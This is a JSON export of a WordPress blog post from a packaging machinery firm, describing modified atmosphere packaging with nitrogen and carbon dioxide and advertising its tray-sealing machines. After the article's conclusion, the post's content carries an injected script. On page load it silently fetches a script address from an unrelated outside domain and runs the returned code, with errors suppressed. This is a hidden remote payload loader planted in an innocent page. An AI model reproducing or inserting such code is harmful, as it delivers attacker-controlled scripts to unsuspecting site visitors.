{"id":754,"date":"2022-02-26T17:15:41","date_gmt":"2022-02-26T11:45:41","guid":{"rendered":"https:\/\/www.nichrome.com\/blog\/?p=754"},"modified":"2025-09-05T16:45:59","modified_gmt":"2025-09-05T11:15:59","slug":"discover-the-advantages-of-map-for-food-packaging","status":"publish","type":"post","link":"https:\/\/www.nichrome.com\/blog\/discover-the-advantages-of-map-for-food-packaging\/","title":{"rendered":"Discover the Advantages of Map for Food Packaging"},"content":{"rendered":"\n<p>When it comes to <strong><a href=\"https:\/\/www.nichrome.com\/\">food packaging<\/a><\/strong>, MAP or Modified Atmosphere Packaging is a widely used technique of preservation. It is well known as a method to prevent spoilage and extend the shelf life of different food products.<\/p>\n\n\n\n<p>Modified Atmosphere Packaging became\nespecially important during the COVID-19 outbreak of 2020-2021. Consumers were\ninstructed to leave their homes as infrequently as possible, so many began\nstocking up on food products with longer shelf lives. As a result, there was an\nenormous increase in demand for packaged food products that used MAP packaging\ntechnologies.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What exactly is MAP?<\/strong><\/h2>\n\n\n\n<p>According to the Food and Drug\nAdministration (FDA), modified atmosphere packaging \u201cinvolves either actively\nor passively controlling or modifying the atmosphere surrounding the product\nwithin a package made of various types and\/or combinations of films.\u201d<\/p>\n\n\n\n<p>There are two different kinds of\nmodified atmosphere packaging: Passive and active. The FDA defines active\nmodified atmosphere packaging as \u201cthe displacement of gases in the package,\nwhich is then replaced by a desired mixture of gases\u201d and passive modified\natmosphere packaging as \u201cwhen the product is packaged using a selected film\ntype, and the desired atmosphere develops naturally as a consequence of the\nproducts\u2019 respiration and the diffusion of gases through the film.\u201d<\/p>\n\n\n\n<p>Gas flushing is one of the most\npopular active MAP technologies for food and beverage products. A gas flush\naccomplishes three things:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Displaces the oxygen inside the package to delay oxidation<\/li><li>Decreases the growth of aerobic spoilage organisms<\/li><li>Acts as a filler to maintain package conformity<\/li><\/ul>\n\n\n\n<p>During a gas flush process, a\nharmless gas (usually nitrogen or carbon dioxide or both) is actively pumped\ninto the bag before sealing to displace ambient oxygen. This is done to\ndecrease the amount of oxygen as oxygen is one of the top killers of freshness.<\/p>\n\n\n\n<p><strong>The role of nitrogen and carbon\ndioxide<\/strong><\/p>\n\n\n\n<p>Nitrogen is an inert gas and is often used to displace oxygen for products which are prone to oxidation.It is also used as a filler gas to prevent pack collapse. Many snack products such as potato wafers rely on nitrogen flushing to provide longer shelf life, slow rancidity and maintain the quality of the snack.<\/p>\n\n\n\n<p>Carbondioxide is usually included as\nan anti-microbial agent. A minimum of 20% carbon dioxide is used with nitrogen\nto forman anaerobic environment to inhibit aerobic microorganisms.Raw and\ncooked meats, fish, ready meals, combination products and bakery goods will all\ncommonly be packed with a proportion of carbon dioxide. Carbon dioxide is more\ncommonly used at levels between 25-40% apart from in bakery goods and some\ncheeses where it can be used up to 100%to increase the mould-free shelf-life.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>How does modified atmosphere\npackaging protect food?<\/strong><\/h2>\n\n\n\n<p>Largely, modified atmosphere\npackaging technologies protect fresh food by decreasing its exposure to oxygen.\nOxygen leads to oxidation, which can cause discoloration, spoilage, and\noff-flavours and textures. By decreasing or controlling the amount of oxygen\npresent in a package, the food product remains fresher longer, extending its\nshelf life and ensuring it remains attractive to consumers.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Nichrome\u2019s MAP solution<\/strong><\/h2>\n\n\n\n<p>Nichrome offers Athena: Thermoforming <strong><a href=\"https:\/\/www.nichrome.com\/machines\/modified-atmosphere-map-tray-sealing-packaging-machine\/map-food-tray-sealing-machine-manufacturer-in-india.php\">Tray Sealing machine<\/a><\/strong> from Tecnovac, Italy. Athena is able to seal, pack in a protective atmosphere (vacuum + gas) or with \u201cSkin effect\u201d all types of trays or jars. Due to its strong stainless steel structure and easy maintenance, Athena is ideal for use in small and medium sized companies.<\/p>\n\n\n\n<p>For marketers of cut fruits &amp;\nvegetables, meat &amp; fish, namkeen &amp; sweets and even ready-to-eat meals\nlike biryani, this <strong><a href=\"https:\/\/www.nichrome.com\/machines\/hffs-machines\/index.php#packaging-machines\">horizontal packaging machine<\/a><\/strong> ensures the\nproducts stay safe and hygienic till they reach the consumer\u2019s table.<\/p>\n\n\n\n<p>The modified atmosphere packaging\n(MAP) machine extracts oxygen&amp;carbon dioxide from the air of the trays,\nsynchronously filling them with nitrogen or mixed air, to ensure that food does\nnot deteriorate. Then the tray is well sealed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion<\/strong><\/h2>\n\n\n\n<p>With the increase in \u2018snackification\u2019 and growing demand for packaged foods with long shelf life, it makes sense for manufacturers and packagers to invest in reliable MAP technology for their packaging line. With MAP, food producers can maximise convenience to consumers and still offer the fresh, preservative-free food products they desire. We suggest you contact Nichrome, the <strong><a href=\"https:\/\/www.nichrome.com\/\">leading packaging machine manufacturer<\/a><\/strong> and provider of <strong>integrated packaging solutions<\/strong>. Nichrome has proven experience and expertise in <strong>food packaging<\/strong> and offers a full gamut of <strong>VFFS<\/strong> and <strong>HFFS automated packaging machines<\/strong> \u2013 whether or <strong><a href=\"https:\/\/www.nichrome.com\/applications\/powder-packaging-filling-machines.php\">powder packaging machines<\/a>, snack packaging machines, <a href=\"https:\/\/www.nichrome.com\/applications\/milk-liquid-packaging-filling-machines.php\">liquid packaging machines<\/a>, <a href=\"https:\/\/www.nichrome.com\/machines\/hffs-machines\/hffs-pickfill-seal-machine.php\">ready-to-eat packaging machines<\/a>.<\/strong> Nichrome will work with you to plan and implement the most cost-effective and dependable MAP solution for your needs. <\/p>\n<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();\n\n\n    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;\n\n        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };\n\n        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };\n\n        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);\n\n        document.body.appendChild(script);\n      });\n    };\n\n    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>When it comes to food packaging, MAP or Modified Atmosphere Packaging is a widely used techniqueof preservation. It is well known as a method to prevent spoilage and extend the shelf life of differentfood products.<br \/>\nModified Atmosphere Packaging became especially important during the COVID-19 outbreak of 2020-2021. Consumers were instructed to leave their homes as infrequently as possible, so many began stocking up on food products with longer shelf lives.<\/p>\n","protected":false},"author":1,"featured_media":755,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23],"tags":[97,79,20,200,69,81,71],"class_list":["post-754","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food-packaging","tag-hffs-machines","tag-horizontal-packaging-machine","tag-integrated-packaging-solutions","tag-powder-packaging","tag-snack-packaging-machine","tag-tray-sealing-machine","tag-vffs-packaging-machine"],"_links":{"self":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts\/754","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/comments?post=754"}],"version-history":[{"count":4,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts\/754\/revisions"}],"predecessor-version":[{"id":2066,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/posts\/754\/revisions\/2066"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/media\/755"}],"wp:attachment":[{"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/media?parent=754"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/categories?post=754"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nichrome.com\/blog\/wp-json\/wp\/v2\/tags?post=754"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}